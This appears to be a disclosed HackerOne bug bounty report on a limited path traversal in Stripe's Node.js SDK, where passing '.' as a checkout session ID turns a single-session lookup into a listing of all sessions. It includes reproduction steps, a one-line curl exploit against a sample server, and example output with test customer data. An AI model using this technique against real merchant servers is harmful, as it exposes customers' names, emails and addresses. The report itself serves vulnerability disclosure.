Lucene search

K
hackeroneZerodivisi0nH1:1575014
HistoryMay 18, 2022 - 9:15 p.m.

Stripe: Limited path traversal in Node.js SDK leads to PII disclosure

2022-05-1821:15:20
zerodivisi0n
hackerone.com
$1000
5

Summary:

It is possible to use . and .. as identifier in all API methods, which leads to calling the parent api method.
Next, I will describe the problem using checkout sessions as an example, because it is the most basic one. However, other methods are also vulnerable to this problem.
For example, using . as checkout session id in Retrieve a Session method leads to call List all Checkout Sessions method.
The problem arises because the Node.js http implementation automatically normalizes the path, so request https://api.stripe.com/v1/checkout/sessions/. will normalize to https://api.stripe.com/v1/checkout/sessions/.
I checked other SDKs and it looks like the problem is only in the Node.js SDK.

Steps To Reproduce:

For ease of reproduction, let’s create a project using accept-a-payment sample template.

  1. Register Stripe account and obtain STRIPE_SECRET_KEY
  2. Create sample project using Stripe docker cli: docker run --rm -it -v $(pwd):/samples -w /samples stripe/stripe-cli:latest samples create accept-a-payment
  3. Choose prebuilt-checkout-page integration, html client and node server.
  4. Create .env file in accept-a-payment/server directory with contents:
```
STRIPE_SECRET_KEY=xxx
STATIC_DIR=/app/client
DOMAIN=http://localhost:4242
```
  1. Run another docker container with nodejs: run -it --rm -v $(pwd)/accept-a-payment:/app -w /app/server -p 4242:4242 node bash
  2. Install dependencies: npm install
  3. Start the server: node server.js
  4. Open web page in browser and complete the payment: http://localhost:4242
  5. Send curl request in terminal: curl "http://localhost:4242/checkout-session?sessionId=." | jq (this request does not require any authentication and returns PII of all successful payments).

Example output:

{                                                                                                                                                                                                                  
  "object": "list",                                                                                                                                                                                                
  "data": [                                                                                                                                                                                                        
    {                                                                                                                                                                                                              
      "id": "cs_test_a14L46PUF4tbXhcFrVU4Zv42kBQD2Hw5TIR6XdNHPJFckllG1Un4MztwlF",                                                                                                                                  
      "object": "checkout.session",                                                                                                                                                                                
      "after_expiration": null,                                                                                                                                                                                    
      "allow_promotion_codes": null,                                                                                                                                                                               
      "amount_subtotal": 500,                                                                                                                                                                                      
      "amount_total": 500,                                                                                                                                                                                         
      "automatic_tax": {                                                                                                                                                                                           
        "enabled": false,                                                                                                                                                                                          
        "status": null                                                                                                                                                                                             
      },                                                                                                                                                                                                           
      "billing_address_collection": null,                                                                                                                                                                          
      "cancel_url": "http://localhost:4242/canceled.html",                                                                                                                                                         
      "client_reference_id": null,                                                                                                                                                                                 
      "consent": null,                                                                                                                                                                                             
      "consent_collection": null,                                                                                                                                                                                  
      "currency": "usd",                                                                                                                                                                                           
      "customer": "cus_LiJwdI9LfI4c9k",                                                                                                                                                                            
      "customer_creation": "always",                                                                                                                                                                               
      "customer_details": {                                                                                                                                                                                        
        "address": {                                                                                     
          "city": null,                                                                                  
          "country": "RU",
          "line1": null,
          "line2": null,
          "postal_code": null,
          "state": null                                                                                  
        },                         
        "email": "[email protected]",
        "name": "BB Tester",        
        "phone": null,       
        "tax_exempt": "none",
        "tax_ids": []   
      }
      "customer_email": null,                                                                                                                                                                                      
      "expires_at": 1652991126,                                                                                                                                                                                    
      "livemode": false,                                                                                                                                                                                           
      "locale": null,                                                                                                                                                                                              
      "metadata": {                                                                                                                                                                                                
      },                                                                                                                                                                                                           
      "mode": "payment",                                                                                                                                                                                           
      "payment_intent": "pi_3L0tE3DrJVF2EnNj1zw13o1n",                                                                                                                                                             
      "payment_link": null,                                                                                                                                                                                        
      "payment_method_options": {                                                                                                                                                                                  
      },                                                                                                                                                                                                           
      "payment_method_types": [                                                                                                                                                                                    
        "card"                                                                                                                                                                                                     
      ],                                                                                                                                                                                                           
      "payment_status": "paid",                                                                                                                                                                                    
      "phone_number_collection": {                                                                                                                                                                                 
        "enabled": false                                                                                                                                                                                           
      },                                                                                                                                                                                                           
      "recovered_from": null,                                                                                                                                                                                      
      "setup_intent": null,                                                                                                                                                                                        
      "shipping": null,                                                                                                                                                                                            
      "shipping_address_collection": null,                                                                                                                                                                         
      "shipping_options": [                                                                                                                                                                                        
                                                                                                                                                                                                                   
      ],                                                                                                                                                                                                           
      "shipping_rate": null,                                                                                                                                                                                       
      "status": "complete",                                                                                                                                                                                        
      "submit_type": null,                                                                                                                                                                                         
      "subscription": null,                                                                                                                                                                                        
      "success_url": "http://localhost:4242/success.html?session_id={CHECKOUT_SESSION_ID}",                                                                                                                        
      "total_details": {                                                                                                                                                                                           
        "amount_discount": 0,                                                                                                                                                                                      
        "amount_shipping": 0,                                                                                                                                                                                      
        "amount_tax": 0                                                                                                                                                                                            
      },                                                                                                                                                                                                           
      "url": null                                                                                                                                                                                                  
    }                                                                                                                                                                                                              
  ],                                                                                                                                                                                                               
  "has_more": false,                                                                                                                                                                                               
  "url": "/v1/checkout/sessions"
}

In my example, only one session is returned, but in reality all current user sessions will be returned there.
I understand that this is only sample code and there may be more reliable implementations in production. However, such a sample code is usually used as a reference and I think that protection against this kind of attacks should be at the SDK level.

Impact

The attacker can periodically call this method and grab PII, such as user’s email address, name and address.